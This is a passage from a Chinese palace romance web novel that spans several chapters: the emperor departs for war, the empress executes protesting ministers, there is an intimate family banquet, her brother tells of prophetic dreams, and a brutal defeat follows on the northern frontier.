无论是谁起的头,无论是彻底打服还是暂且叫对面歇了心思,都得打一仗。 和北凉就没有那么简单了。 但是两人谁都没有提起这件事情。 “清都,你一定要活着回来。”元韫浓的眉眼犹如雪般的薄凉,唇角的弧度却带有暖意。 裴令仪眨了一下眼睛,连眼睫上雪花融化的水珠都坠了下来,成了流转的星子。 他把视线从元韫浓身上挪开,像是不忍再看,压抑着声音里的情绪:“送殿下回去。” “殿下,请。”孙鹃纨颔首,站到了前边。 元韫浓深深地望了一眼裴令仪,转过身要跟孙鹃纨离开。 “阿姊。”裴令仪突然间又叫住了元韫浓。 元韫浓回眸,见裴令仪站得笔挺,在皑皑白雪之中,眸光澹澹,那样动人。 “阿姊,我此番前去,若是身死……”裴令仪说到一半,就失了声。 他似乎是哽住了,片刻之后,又哑声道:“若我回不来,此生不能共白头……” 元韫浓偏头微微笑了,“分明已经共白头了。” 裴令仪微微一怔,恍然间发觉雪也落在了元韫浓的发间。 今朝已是同沐雪,此生也是共白头。 仿佛再次回到前世,大限将至的裴令仪抱着突然咳血的元韫浓,在雪夜里回到凤仪宫。 也是这样的,大雪淋了满身,白了头。 “两回了。”元韫浓道,“白首之誓,完成了两回。不仅是白首不相离,也会共葬一墓穴。” 同沐雪,同墓穴。 元韫浓抬起手,轻轻触摸到裴令仪眉眼间的、鬓角边的雪。 再一次,仿佛真的到了白发苍苍。 “暮雪白头,也是白头。”她轻声道,“这样也算白头到老。” 裴令仪僵硬地站在原地许久,没有再说一句话。 好像真的和元韫浓一起,白头偕老。 “好。”他艰难地回应,眉眼极尽柔软。 他的声音犹如落雪般轻:“我们,白头到老。” 元韫浓注视着他,“好了。” 裴令仪点了点头,“阿姊保重。” “保重。”元韫浓听见自己的声音被风雪撕得支离破碎。 裴令仪的喉结动了动,指腹不经意擦过元韫浓的眼尾。 他转过身,走入排列整齐的兵士之中,翻身上马。 “启程。”裴令仪发号施令,勒住缰绳调转马头。 号角穿透雪雾,东营军踏着新雪出城,马蹄碾碎薄冰的脆响里。 雪粒子打在脸上生疼,元韫浓望着渐隐于风雪的背影,直到最后一片冷色融入苍茫。 孙鹃纨等了片刻之后,毕恭毕敬地朝着元韫浓道:“殿下,我送您回去。” 元韫浓便款款转身离开。 那雪霰像鹅毛般飘飘洒洒,天地间白蒙蒙一片。 裴令仪没有寄信回来,但是跟过去的元氏子弟送来的书信里,说裴令仪去了慕南的皇陵。 不但开棺戮尸,将惠帝与太后的墓毁于一旦,还一把火烧了慕南皇陵。 元韫浓沉默地注视着信纸上的字句,将信纸丢入了炭盆之中。 “明日这件事情就会人尽皆知。”元韫浓看着纸张被焚烧殆尽,“不仅言官文人会口诛笔伐,史书上更会留下他暴虐的一笔。” 霜降犹豫着欲言又止,什么话都说不出口。 这会是遗臭万年的暴行,哪怕后世再众说纷纭,争论裴令仪曾经在慕南之下遭遇的痛苦。 他们很少会怜惜胜者,也会忽略裴令仪曾经乞命,将尊严与脊骨都碾碎,遍体鳞伤、饥寒交迫的日子。 也会忽略如今盛极一时的元氏曾经险些被灭族,元韫浓的险些丧命,和惠贞长公主死亡背后推动的手。 他们的视线只会集中在裴令仪违背礼义廉耻和天命史观的暴行上。 “他们不过是想以道统制约政统,若清都此回不受伦理纲常约束,那么往后他们就是再也没法子困得住他了。”元韫浓平静道。 她看着火星飘扬,“下回的早朝在两日后,在早朝前,无论谁来求见,一律不见。” 霜降抬眼看着元韫浓,“殿下,那下回的早朝……” 元韫浓掸了掸衣角,云淡风轻,“叫阿兄领禁军在宣政殿外候着,孙鹃纨、裴九,特允持剑上殿。” 霜降和小满明白了她的意思,低头应声。 果不其然,第二日这件事情就传得人尽皆知。 没有刻意遮掩的消息就是流通的。 皇陵刚修成,惠贞长公主的坟茔已从慕南皇陵迁入大裴皇陵之中。 而裴令仪刚离京,就目标明确,先去烧了慕南的皇陵。 这叫众人猜测纷纷,裴令仪怕是蓄谋已久。 臣子们求见元韫浓,一律被驳回不允。 短短两日,就连街坊邻里都口口相传此事,更有文人已经写下了讽刺此事的诗文。 到了早朝的这一日,百官更是什么手段都用上了。 刚开始他们还打算以理服人,一群人群情激奋。 “陛下此行,有违天道伦常!毁皇陵、戮尸先帝,为之尤过!” “王者受命,必慎始敬终,乃可永祚!陛下掘慕南帝陵,唯恐引发民怨,使得慕南遗民泪尽啊!” “焚陵者,自绝于天也。” “焚我慕南孝陵,罪逾千古啊!” “昔人烧前朝之宫,终失天下。今陛下毁南陵,恐蹈其辙!” 众臣口干舌燥地说了一堆,见元韫浓毫无反应,不禁吞咽了一口唾沫。 有一老臣伏阙痛哭,请求元韫浓下诏禁止裴令仪所为,修复慕南皇陵。 他老泪纵横,“民间已有文人墨客以诗词赋哀诔,直道是……” “直道是什么?说来听听,本宫很感兴趣。”元韫浓撑着下巴,好整以暇道。 老臣硬着头皮说下去:“锦靖西北草不横,十年戎马暗京华。” 元韫浓听了轻嗤一声:“锦州靖州早有灾荒叛乱,是从裴开始才有的吗?难道不是从南就开始了吗?” 他们一凛,哑口无言。 “十年戎马暗京华?呵。”元韫浓念了一遍后一句。 她冷笑:“西洲北州几度面临大军压境的状况,从慕南就开始了,又是谁几次去御敌在外的?是元氏,是西营军,是裴令仪!” 短短几字几句,抹消掉所有的功绩与牺牲,还把所有惠帝造下的孽归咎于裴令仪。 写下这诗的人,总归不会还以为自己多么伟大无私,敢于直面于强权吧? 元韫浓看向郑女幼,问:“这诗是谁写的?” 郑女幼报出一个姓名。 “斩。”元韫浓冰冷道。 有人领命,当即离殿去执行杀令。 臣子们见以理服人行不通,便想着来硬的,上演一套以死相逼,备棺上疏。 有一批人甚至为了抗议表达不满,提出辞官退隐。 他们义正言辞:“既然皇后娘娘此意已决,臣等愿以深心奉尘刹,远离红尘纷纷扰扰。” “皇陵焚毁容易使得引发故国之思,是百姓如此,微臣等人亦是如此。如今忠义两难全,微臣唯有请辞。” “臣唯有一死,惟望能使君王幡然醒悟啊!” 元韫浓微微勾起唇角,“裴九,鹃纨。既然众卿家如此重情重义,你们帮他们一把吧。” 裴九和孙鹃纨露了刀剑,鲜血溅上梁柱,方才叫嚣得最凶的那个官员倒了下去。 他原本叫嚣着唯有一死才能使得裴令仪和元韫浓幡然醒悟,向慕南牌位磕头谢罪。 孙鹃纨执刀,单膝跪地,“殿下,末将已助这位大人一臂之力,助他早登极乐。” 殿外突然传来金铁交鸣之声,殿门轰然洞开,元彻回手握长剑,带人踏步而入。 铿锵声中,他身后甲胄鲜明的禁军使得群臣颤栗。 “臣来迟,还请殿下降罪。”元彻回道。 “还有谁想死谏的?本宫可以叫人助爱卿一臂之力。”元韫浓慢条斯理地抬手拨弄着护甲。 她抬眸,“可斩,斩立决。” 无人敢言,一时间都被震慑住了。 元韫浓的声音冷得像淬了冰:“以死相逼?你们以为自己的命值几个钱?” “如今已是大裴新朝,慕南遗臣拒绝为我大裴效力的,以不仕二朝为由头表达不满的,早干嘛去了?怎么不趁着改朝换代的时候就去死,这会来装忠贞不二了?”她轻哼一声。 元韫浓眼中带笑,笑中是凉薄的嘲讽,“本宫也可大发慈悲,顺了你们的意。这会还想着同慕南同去,本宫还可允了。” 话音刚落,那些刀剑威慑性地朝外转去,吓得离得近的那些臣子一凛。 “想要退隐的,本宫也可放你们走。”元韫浓道,“来人,给他们备下纸笔,叫他们写请辞书。” 众臣满脸不可置信,这么多人,元韫浓说不要就不要了? 这跟他们想象中的完全不一样。 “怎么?舍不得高官厚禄?”元韫浓冷嗤一声。 她指了指那群大多数都还站在百官队伍后头的女官们,“看见了吗?你们的每一个位置,后头都有成千上百个人盯着呢。你们不干,有的是人干。” 这些人顿时有了危机,意识到元韫浓可能是真的不打算要他们了。 他们此举还正中下怀,给元韫浓新提拔的那些女官腾位置。 这下没人敢说话,也没人敢轻举妄动。 除却一些方才叫得太凶的,如今骑虎难下,不得已只好写下请辞书的官员,其余人在此刻都装起了鹌鹑。 “南祚已终,其陵不足惜。”元韫浓道,“如今是大裴之天下,若还有人对慕南念念不忘,就趁早下去陪它。” 她道:“也斩。” 鸦雀无声。 片刻之后,仍有人不甘心地劝道:“新帝暴行,必然会被后世史书记载,民心向背,文人贬斥,史书定罪,这绝不是长久之象啊。” “到时候的史书之上,只会写仪帝掘前代陵墓,天怒人怨,其国遂亡!” “难道殿下忍心大裴,忍心陛下在史书之上留下如此恶名吗?” “陛下开棺戮尸,此等行径,实在是有违人伦!” 元韫浓却不以为然,“在你们眼里,他都是篡位弑君了,还担心什么后世说他残暴不仁?” 臣子们决定打感情牌,“惠帝虽说做错了许多事情,但他毕竟与殿下您有血缘之亲,是您的舅父啊?” 元韫浓笑了起来,丝绸的裙裳抖出流水般的褶皱,“此言差矣,什么惠帝?从未听说过,本宫只听过蠹帝。” 惠这个字,还是太便宜了她这个好舅父,玷污了她母亲的名号。 满朝哗然。 元韫浓缎面上的暗纹随着风动折射出粼粼微光,那只待飞的凤凰栩栩如生,“毁国蠹政曰蠹,什么舅父?他就是蛀虫而已。” 不仅蛀空了南朝,也蛀空了她的阿娘,更是蛀空了元氏对他最后的忠心。 臣子们对元韫浓的言语感到不可思议,元韫浓言辞之辛辣之刻薄,难道当真如此恨惠帝吗? 有人不禁悄然擦了一把冷汗。 元韫浓转向郑女幼,“修葺国史,须得用些。交由女幼主导,本宫得以放心。其中重中之重,则是蠹帝之暴行,通篇不得称其为惠。” “殿下放心。”郑女幼恭敬道,“殿下委以重任,臣必然不辱使命。” 元韫浓点了点头。 她面向群臣,“再有人敢对此事有微词,照斩无误!” 她倒要看看,这些人有几个脑袋能递过来送死。 天下之大,最不缺的就是人。 第115章 家宴 元韫浓问:“可还有事要奏?” 一时间万马齐喑,面对禁军的剑戟森森,面对几个武将手上的刀剑。 刀面映照出他们扭曲的脸庞,鸦雀无声。 他们更是深刻意识到了,裴令仪那算什么暴行? 更暴君的在这里呢,就在凤椅上边坐着呢。 “那便退朝吧。”元韫浓平淡道。 宦官高声道:“退朝——” 元韫浓回了凤仪宫,凤仪宫少了裴令仪倒也不会觉得冷清,但终究还是少了点什么。 毕竟裴令仪除了处理政务和被元韫浓赶人,很少留在圣宸宫。 绝大多数时间里,裴令仪都在凤仪宫留着。 元韫浓支颐看着霜降屈膝点上香,漫不经心道:“摆场小宴吧,明夜里请他们来宫里一块用膳。” 以香灰为纸,篆模为笔,精心勾勒出寿、福等吉祥字样。 霜降手持银质香匙,将香粉填入篆纹之中,轻轻提起篆模,一幅工整的图案跃然灰上,宛如天成。 她点燃香篆的一端,星火顺着纹路徐徐蔓延,香气也随之渐次释放。 霜降笑道:“殿下是觉得冷清了吗?” “呵。”元韫浓轻笑一声,“你倒是牙尖嘴利。” “奴婢还没说什么呢,也没说是谁呢。”霜降点完了香,便去净手。 小满进门来,“殿下,是翰林学士来了。” “哦——哪个翰林学士啊?”元韫浓故意拖长了调子。 “还有哪个翰林学士啊?是我们的翰林学士郑六娘啊。”小满含笑回应。 临了她转头对霜降道:“你今个儿焚的香倒是巧,从前怎么没闻过呢?闻着挺静的,倒是适合夏日里用。” 霜降扬眉,“殿下先前新制的香,青麟髓,用了沉香、檀香、龙脑香、麝香、玫瑰花、细辛、蜂蜜等。殿下你瞧瞧,她鼻子灵得很呢。” 元韫浓闭目凝神,静静享受着这片刻的宁静与芬芳。 她不紧不慢地道:“鼻子灵的还有一个呢。” 说曹操曹操到。 郑女幼拥着厚重的肩披走进来,呵出一团白雾,搓了搓手,“外边看着太阳挺好,但是还是冷啊,冷得很呢。” “都这么冷了,我们郑大学士这个大忙人还往我这凤仪宫跑,可见真是情钟意笃啊。”元韫浓眉梢微挑,打趣。 “那是自然啊。”郑女幼朝着元韫浓作揖,“小的唯皇后娘娘马首是瞻啊。” 她直起腰,又觉得热了,“寒冬腊月里头,就凤仪宫最暖和了。” 凤仪宫里的女侍笑着迎上去,替郑女幼脱下肩披,到外头去抖落雪粒,放到一边去。 元韫浓体弱多病,受不了冻,夏日惧热,冬日畏寒。 凤仪宫里,在冬日又是地坑又是炭火,自然是暖得不行。 “好香啊,适合礼佛读书时点,静心呢。”郑女幼嗅了嗅,“怎么做的香?我回去也要点上,正适合修葺国史时用。殿下叫我修葺国史,我可得尽心尽力啊。” “你们瞧瞧,我就说她是鼻子灵的。”元韫浓指了指她。 等到郑女幼坐过来,元韫浓道:“这香制作时沉香打粗粉,檀香打细粉,且都要在麝香水中浸泡,能醒脑提神。” “你要是喜欢,叫霜降给你取些带回去就行了。”元韫浓道。 郑女幼笑道:“皇后娘娘自制的香赏给我了,我回头得再去烧烧香拜拜祖坟。” 元韫浓听她说得那么浮夸,心情好了些,“你爹那里头怎么样?” “我爹啊?”郑女幼的神色淡了下来,“换了口风,不再喊着一口一个逆女,说我不是郑家人了。” “改换怀柔政策了?”元韫浓挑眉。 “殿下还真是料事如神了。”郑女幼还小小惊诧了一下,“他还真来跟我怀柔了,叫我赶快回家,还是得顾家,家中母亲和弟弟都很想念我什么的。” 元韫浓轻嗤一声:“那是因为你弟弟科考没考上,今年我又招了一堆女官进来,你爹觉察到风向变了。” 郑女幼冷哼一声:“他现在巴不得让我不要受苦,把这位置让给弟弟。” “男人的幸事在于不论在什么时候,他被督促着踏上一条艰苦的道路,不过这也是一条最可靠的道路。”元韫浓微笑。 她挑起郑女幼的一缕发丝,“而女子,她不被要求奋发向上,当发觉自己被愚弄时,通常为时太晚,她的力量在海市蜃楼之中已被耗尽。” “你不会耗尽自己的力量,被欺骗,而让我失望的,对吗?”元韫浓偏头问道。 郑女幼注视着她的眼睛,无比坚定道:“我不会。” 她既然舍弃了那些走到这里,就不会为了那些而去舍弃已有的东西。 她知道她为难的地方是父母其实也爱她,只是那么爱她,更爱弟弟而已。 但她足够坚决,也足够狠心,愿意为了自己所想而挣脱那个温暖的囚笼。 她继而对元韫浓说道:“我会攥紧这份力,借着你助我的力,把名字留在青史上。” 所以她发誓对元韫浓忠心,愿意做元韫浓马首是瞻的佞臣。 “所以当初我才会跟你交友。”元韫浓挑起眉梢笑,“因为你绝不是怯懦之人。” 郑女幼煞有介事地点头,“那也是,怯懦之人也不敢跟郡主跟皇后做朋友不是?” 元韫浓转头跟身旁的女使取笑:“你瞧瞧她,在朝堂上装得言行雅正,私底下到我这里,却是闹翻了天。” 慕水妃来的时候就见到了这一幕。 外面是大雪纷飞,万籁俱寂。 但午后的阳光却很好,凤仪宫里也很暖和。 元韫浓懒散地斜靠在案几上,轻摇团扇,与身旁的郑女幼低声谈笑。 身边的女使们也跟着笑,言语间满是闲适与惬意。 案几上的青瓷花瓶中插着几枝新鲜的绿梅,与氤氲的香气相互交融,雅致朦胧。 让来者都仿若置身于仙境之中,忘却尘世喧嚣。 “水妃姐姐来了。”元韫浓看过来,小扇轻摇,“今个儿我的凤仪宫倒是热闹了。” 慕水妃笑了笑,“那是我来得不巧了,应该间错开来的。” 元韫浓道:“哪有什么巧不巧的?来了我都欢迎。” 慕水妃被引着坐到了元韫浓身边,“沈川是忙公务了,忙完了也要来,过两天他不是也要去锦州靖州办案了吗?” “本想着一块来我宫里办个小宴的,既然都那么赶巧了,也不必明日了,就今日吧。”元韫浓转头去吩咐霜降。 “真有那么巧啊?”郑女幼捂着嘴笑,“那我是太随意了,穿了官袍就过来。” “家宴而已,就自己人用次晚膳,我叫御膳房多做些菜式罢了。你倒好,要那么隆重做什么?”元韫浓斜睨了她一眼。 慕水妃柔声说道:“人倒是全,只可惜是少了一个。” 元韫浓风轻云淡地笑了笑,“这次不带他,下回等他回来了,接风洗尘,再凑人全。” 说是小宴就是小宴,元韫浓也没整得多大排场,就在凤仪宫里亲友一块其乐融融地用了晚膳而已。 元云和在惠帝喜登天之后,下山的时间也多了,时不时就回岐王府小住一段时间。 每回下山,身后都必跟着云水真人。 云水真人也在岐王府小住,这回也跟着来凤仪宫蹭吃蹭喝。 云水真人身上没有什么修道者的清高和拒人于千里之外,没什么正形,但是元韫浓倒是挺喜欢的。 慕水妃还是对待元韫浓犹如母亲一般,无微不至,连鱼刺都给元韫浓剃掉了。 沈川见慕水妃如此,便也积极地给元韫浓夹了一块樱桃肉。 旁边的慕湖舟见了,略微苦笑一声,没有作声,只是低头吃东西。 只是东西吃到嘴里,味同嚼蜡一般。 他都不知道该说元韫浓残忍还是天真,那样坦荡,又那样温和,照旧笑着叫他表哥,照旧拿他当自己人。 而他照旧在这样的高朋满座里注视着元韫浓。 但他没有权力阻止继续见面,因为元韫浓友善依旧。 孙鹃纨在旁边感慨:“我何时才能像殿下这般好命啊。” 走了个会给元韫浓鱼刺都挑掉的裴令仪,这会慕水妃还顶上了。 “你要是想,有的是人能使唤,在这酸什么呢?”元韫浓睇视她一眼,“你家里头那些侍者,难不成都是摆设吗?” 孙鹃纨心想这倒是了,就算没这些人,元韫浓本来就不必去挑鱼刺。 她必须得承认有些人就是命好,连爱都不大需要。 但她仍为这样盛名财权堆砌而娇养出来的掌上明珠而着迷,天然带有残忍的美人。 很漂亮,不是吗? 孙鹃纨托着腮,歪了歪头,隔着琳琅满目的山珍海味望向元韫浓。 “这要瞧着我做什么?”元韫浓对她扬眉。 孙鹃纨笑:“赏心悦目呀,皇后殿下。” 元韫浓轻轻嗤笑了一声,但也没说什么了。 云水真人很赞同孙鹃纨,“确实赏心悦目啊,就算只是放在那里看两眼心情都变好了。我也喜欢一些特别点的美人,尤其是心眼不大好的、伶俐的。” “真人呐,你可真不像个修道者,你是我的伯牙。”孙鹃纨双眼一亮,又遇到了知音。 她唰地站了起来,豪气万千地举杯,“我敬真人一杯!” “好!”云水真人同样豪迈地站了起来。 这两人恨不得现在就当场结拜了。 元云和在旁边轻咳一声提醒,奈何云水真人压根就没听到。 元蕴英还在旁边感叹:“长姐跟着云水真人修行,可还真是跟对了啊,性情中人啊都是。” 元云和一阵无语。 裴九此刻难得跟元云和感同身受了,多少有点丢人了。 他都不想跟别人说,自己认识孙鹃纨这个人。 歧王见一边的慕水妃和沈川都快忙出火花来了,让霜降和小满都毫无用武之地。 他隐约觉得不妥,但又不好意思制止,便轻咳一声,用手肘撞了一下自己的儿子。 奈何元彻回正在走神,并没有接收到歧王的信号。 歧王只能开口:“彻回,你去给你妹妹盛碗汤。” “啊……好。”元彻回回过神,起身去舀汤。 元韫浓看他盛汤时也有些出神,被烫了手才回神,微微皱了一下眉,然后便把汤碗递给了元韫浓。 元彻回笑得并不诚意。 元韫浓盯着他,“阿兄,我不爱喝白火石汆汤的,这是我叫人给你做的。” 元彻回勉强对元韫浓笑了笑,“抱歉,阿兄忘了。” 他把手里的汤碗放下,换了碗要去给元韫浓盛别的汤。 慕湖舟先把盛好的汤递了过来,“玉竹石斛麦冬猪骨汤。” 元彻回顺势接了过来,转递给元韫浓。 元韫浓看了一眼慕湖舟,又看向今日不在状态的元彻回,没有说什么,接了汤。 慕湖舟见元韫浓喝了汤,神色无异,稍稍松了口气。 这顿家宴的氛围相当温馨,笑语声不断。 散场时候,元韫浓跟众人告别,侍者们送几人出去。 “阿兄,你留一下。”元韫浓突然叫住了依然有些心不在焉的元彻回。 岐王转头看向元韫浓,“应怜……” 元韫浓对着父亲笑了笑,“阿爹放心,没什么事,我就是政事上有事问问阿兄。” 岐王点了点头,和两个女儿先离宫了。 元彻回知道今日自己一直不在状态,也被妹妹敏锐地发觉了此事。 他沉默地站在原地。 “阿兄今晚一直在出神,是发生了什么事?”元韫浓开门见山地问。 见元彻回依然沉默,元韫浓便道:“阿兄知道我不喜欢白火石汆汤的,今日却给我盛了,盛汤时候还走了神,被烫到了手指。换了平常,表哥替你为我盛汤,你也是不会接的,今日却接了。” 见元韫浓把一切细节都道明了,元彻回叹息:“太敏锐了,应怜。” “所以是为什么?什么值得阿兄这样出神?”元韫浓问。 元彻回无法开口告诉元韫浓,他梦到的那些荒诞梦境。 他又要怎么告诉元韫浓,他梦见和北凉一战之中,裴令仪和那颜律同归于尽,马革裹尸还。 北凉和大裴两败俱伤,他的妹妹短命早逝,留下还尚未稳定的大裴,无人继承。 整个王朝陷入了前所未有的动荡之中。 第116章 一语成谶 元彻回不禁开始怀疑他梦见的所有,这些似乎都是不同的可能和不同的结局,但无一例外,都没有一个好结局。 他原以为好不容易裴令仪和元韫浓走在一起了,难道结果还是这样吗? 元韫浓看元彻回面色犹疑,疑心是发生了什么不好的事情。 “阿兄,你难不成有什么事情瞒我吗?”元韫浓问。 元彻回依然无法说出口,他只能道:“如今我们和北凉的兵力,是北凉为多。此刻对决,恐怕将帅……” 元韫浓听元彻回提起这回事,也不免叹气:“事实如此,只是此刻退却,怕是后患无穷,北凉宵小,也会变本加厉。” 摆在面前的是难题,不打不行,打就是在拼将帅性命。 元彻回知道没有办法,因为梦里的无数个结局里,导致裴令仪和元韫浓走向悲剧的原因就是北凉。 可他偏偏梦到的就是悲哀的走向,没有其中的任何细节。 除了感到焦心与悲伤,元彻回几乎无法做到任何事情。 哪怕是看到妹妹一无所知的脸庞,元彻回都会感到焦灼。 他甚至有了一种可怕的错觉,他觉得命定的结局靠得越来越近了。 “阿兄觉得,若是与北凉开战,并无胜算吗?”元韫浓的感知果然敏锐。 元彻回一时失言,“并非没有胜算,而是即使胜,也是惨胜。或许背后付出的代价,是无法承受的。” 元韫浓顿了顿,“那阿兄怎么想的?” 这句话使得元彻回再次沉默。 他无力的地方正在此处,像是窥探到了可能会走向的悲剧,而他却无能为力改变什么。 这件事情太过于宏大,以他微小之力无法撼动,也无法改变。 “我不知道,我需要再想想。”他哑声回应。 “阿兄?”元韫浓疑惑道。 她注视着元彻回,“当年镇国寺,云水真人与灵慧大师辩。我在旁听,云水真人说,我们元家有三个奇人。” “一个是有缘者长姐,一个是我,还有一个,就是阿兄。”她道,“我问了,阿兄有何机缘,云水真人避而不答。” 元彻回惊愕地眙视元韫浓。 元韫浓问:“当年云水真人没有为我解答,阿兄今日,可否解我之惑?” 沉默良久,元彻回长叹。 曾经他感慨过元韫浓的聪慧与敏锐,也心疼过,惊讶过。 如今也被这份聪慧和敏锐洞悉。 “我有答案。”元彻回道,“妹妹,我时常做梦,梦到五郎,梦见……你,你们的结局。” 元韫浓眙愕,然后平静下来,继续倾听。 元彻回将他做到的梦,那些无法挽回的结局,无数个不同选择可能达成的结局,全部一五一十地告诉了元韫浓。 说到最后,他深吸一口气,掩面失言。 叫他如何再回忆那样惨烈的结果,看到妹妹各种的死状。 “阿兄所言,难道是我命如此?”元韫浓同样沉默。 在长久的沉默之后,她才问了这句话。 “不会……不会的。”元彻回摇头,他抬眸,捧住元韫浓的双肩,“或许那只是梦,都是假的……” “这句话才是假的。”元韫浓与兄长对视,“阿兄也不必如此安慰我。” 她自嘲般笑了笑,“阿娘许我小字为应怜,许是一语成谶了。” 应怜、应怜。 苍天应怜,苍生应怜,我也应怜。 名字赋予的寄托和寓意太美好,就会成为谶语。 因为她也是重生而来的人,所以她知道那不是梦。 因为元彻回的第一个梦,同前世一模一样。 “阿兄放宽心。”元韫浓看着元彻回,认真道,“许是不一样呢?这一回,或许是不一样的。” 元彻回用力点了一下头,自我安慰般道:“对,许是不一样的。” 他看着妹妹苍白的脸庞,在梦里无数次染上了鲜血。 “应怜,总会不一样的。”他低声道。 至少到现在,一切都还安好,都还在可以挽回的地步。 元韫浓无病无灾,裴令仪也安然无事。 而裴令仪领着北营军整装待发,挥师清剿那些不愿意投降的叛军。 铁骑踏过,不破不立。 他将被反复抢夺的州府,重新牢牢掌控在大裴的手中。 每每闲下来静下了心,他坐在椅子上,又捧着永生花发呆。 萧煜见不得裴令仪成日里不是打打杀杀、吃饭睡觉、操兵演练,就是在睹物思人。 “主上,我们能不能别看这朵永生花了?”萧煜忍不住问道。 他都受不了了。 裴令仪能整天看着这朵永生花睹物思人,他们这些做僚属的,都快要无聊死了。 这朵花他已经看腻了。 “你倒是跟孙鹃纨学得胆子大了许多。”裴令仪瞥了一眼萧煜,“你难道是没事情干了吗?要不要孤给你增添一些任务?省得你成日里游手好闲,不务正业地孤面前晃悠。” 于是萧煜便住了嘴。 裴令仪支颐瞧着那朵永生花,“我不愿与她分离。” 他笑了一声:“但却总是在分离。” 萧煜欲言又止,“其实主上这回,完全可以带殿下一块来的,这样就不必受相思之苦了。” “太危险了。”裴令仪却道,“孤不能将她置于险境,即使是孤战败了,战亡了,她也得有后路,也得活下去。” 萧煜沉默。 裴令仪注视着掌心里看着极其脆弱柔软的永生花。 “很多东西,都是阿姊教我的。”他又想起前世。 前世他几乎是白手起家,一路摸爬滚打上来的。 对于他来说有更多重要的东西,例如说生存,例如说暖饱,甚至于一块冷透了的馒头,都比名贵的风雅之物重要多了。 所有的时间,他几乎都在绞尽脑汁地想着该怎么获取粮食和御寒的衣物,怎么活下去。 再大一些也是如此,他开始想怎么学一些文韬武略,怎么谋生,怎么报仇。 没有时间,也没有心情去学风雅之事。 所以前世即使是当了皇帝,他也知道背地里很多人说他是跟北凉一样未开化的野蛮人,化外之民罢了。 元韫浓引到院子里来观赏的鸟雀,他以为会扰元韫浓清净,闷声不吭让人捕杀了炖汤端给元韫浓。 结果元韫浓被气得不行,以为他这是贴脸来挑衅了。 裴令仪七日没得到元韫浓一个正眼。 元韫浓偶尔写的诗词,调的香,弹的琴,他一律不懂。 但是他想懂,他想知道,他离元韫浓近一点。 可他不会说,又不知道该怎么说。 对于元韫浓来说就是裴令仪一直在她做些喜欢的事情放松放松的时候,阴魂不散地在旁边杵着。 简直是令人厌烦。 很多东西都是这一世,元韫浓带着他熟悉,带他明白的。 他明白了什么是赌书泼茶,品竹调丝,也会为元韫浓洗手作羹汤,青衿伴读。 他学会了竹窗听雪,石鼎烹茶。 也做过卧听松风,坐对云鹤。 也同元韫浓西窗剪烛,共读华章。 全是元韫浓教会他的,都是元韫浓带领他的。 萧煜不知道裴令仪在说什么,“主上先前的武艺都是殿下教的吗?” “你怎么也跟裴九一样犯蠢?阿姊不会武,自然教的不是这些。”裴令仪道。 他谋生立足的本事都是自己学来,但是养性怡情的雅怀都是元韫浓教的。 裴令仪的指腹极轻地摩挲过永生花的花瓣,“你觉得阿姊像什么?” “额……”萧煜搜肠刮肚思考,“对岐王府来说,是掌上明珠,金枝玉叶吧。” “天赋诸般皆具备,生来万事俱周全。”裴令仪轻笑一声,“荣华富贵,于阿姊而言,不过唾手可得。” 有时候他拼尽全力,对于元韫浓而言是触手可得。 前世他也是那么晦暗地想着的,想是云泥之别,而这样尊贵的元韫浓,却要和他这样心神分离的孤魂野鬼绑在一起。 所以元韫浓厌恶他也是合理的。 漂亮的人几乎都是被宠坏了的,他知道有元韫浓的薄凉,所以他对元韫浓没有期待。 爱也好,恨也罢,只要元韫浓留下来,陪在他身边就好了。 而到最后都沉疴郁结。 萧煜的直觉告诉他,跟裴令仪聊这些东西不大好。 因为他没有孙鹃纨那么机灵和聪敏,做不到能灵巧地周转调和。 不过先前的裴令仪确实是命苦。 于是他想着安慰裴令仪几句,轻咳一声:“主上现在和殿下已经鹣鲽情深了,可喜可贺,一定很幸福。” 说完,他又笃定地点了点头,“羡煞旁人啊。” “是吗?”裴令仪低眉,“是很好,和阿姊在一块,什么都无所谓。” 跟元韫浓在一起的时候,是他最幸福最松懈的时候,但与此同时他也总惴惴不安。 他格外地珍惜和元韫浓在一起的所有时候,不知道为什么,永远得不到满足,心里始终有着悲伤的底色。 他始终害怕,更始终忧伤,怕下一刻就会破灭。 镜子犹碎,玉犹碎。 裴令仪低声道:“什么时候会分开,什么时候又会重逢……” “主上!”一个将领火急火燎地冲进了帐中,气都喘不匀,“北州!北州失守了!” 裴令仪倏地站了起来,将手里永生花小心翼翼地揣入袖袋之中。 他蹙眉,问:“说清楚。” “北州边城失守了!北凉贼子率大军突袭,贼军势众,趁夜破袭。西营军虽奋力抵抗,然敌暗我明,仓促应战之下,防线多处告破!”将领跪地禀报。 他语气急促:“关城失守,将士折损三千余人,粮草辎重尽失!西营军副将力战殉国,西营军孙统领受了伤,余部且战且退,暂退守城!” 裴令仪面色冷凝,“整装,先发兵北州。” 在后方的京华皇城在也在其后得到了紧急军情,朝野上下多少心慌。 接二连三,噩耗不止。 由京华调取的粮草物资也紧急发往北州。 已经有官员开始有怯战之意,被元韫浓发落之后,才止了这些人的声音。 知道裴令仪已经带北营军赶往北州之后,元韫浓稍稍放了心。 然而在北营军赶至北州之前,西营军中了埋伏,接连失守。 那颜律手段之残忍之野蛮,令大裴上下为之惊惧。 攻破边城之后,那颜律俘获敌将。 其子跪求代父受死,那颜律明面上笑着应允道:“父债子偿,天经地义。” 随后竟命人将其子当着敌将的面剁成了肉泥炖汤,逼敌将喝下了肉汤。 此举震慑了西营军,又令大裴子民无一不寒胆。 西营军难以对抗,节节败退。 连战连败,数日之间连失数城。 如今已经退到了襄城,北州与西洲接壤的最后一道防线。 而裴令仪率领北营到襄城时,北州只剩下了襄城在苦苦支撑。 西营军见援军已至,不免都热泪盈眶了起来。 这些天的苦战,粮草快要见底,对面的北凉军队却越战越猛,自己人死伤无数。 他们的精神紧绷,几近崩溃,索性坚持了下来,总算是等到了援军赶来。 正在包扎处理伤势的孙统领见裴令仪他们赶至,连忙起身相迎。 他身形摇晃,“陛下!” 孙统领抱拳跪在裴令仪面前,“陛下!此次战败,皆因臣等失察,未料敌兵诡谲之计,致边防受挫!” 想到那些丧命的弟兄们,他更是红了眼眶,嗓子也发哑。 “孤来路之上已经听闻,那颜律佯败诱敌深入,待我军入彀,伏兵四起,陷入重围。”裴令仪道,“贼军箭如雨下,我军仓促应战,阵型大乱。” 他托住了孙统领的胳膊,“那颜律早已算定我军应对之策,将我军后援阻断,致使我军孤立无援,终致大败。此次战败,错不在西营军。” 孙统领却已眼含泪光,“臣负罪深重,万死难辞,唯愿戴罪立功,重整残部,誓复失地!” 裴令仪虚扶了一把,“无须多言,不必挂怀,当务之急,是后续应战。” 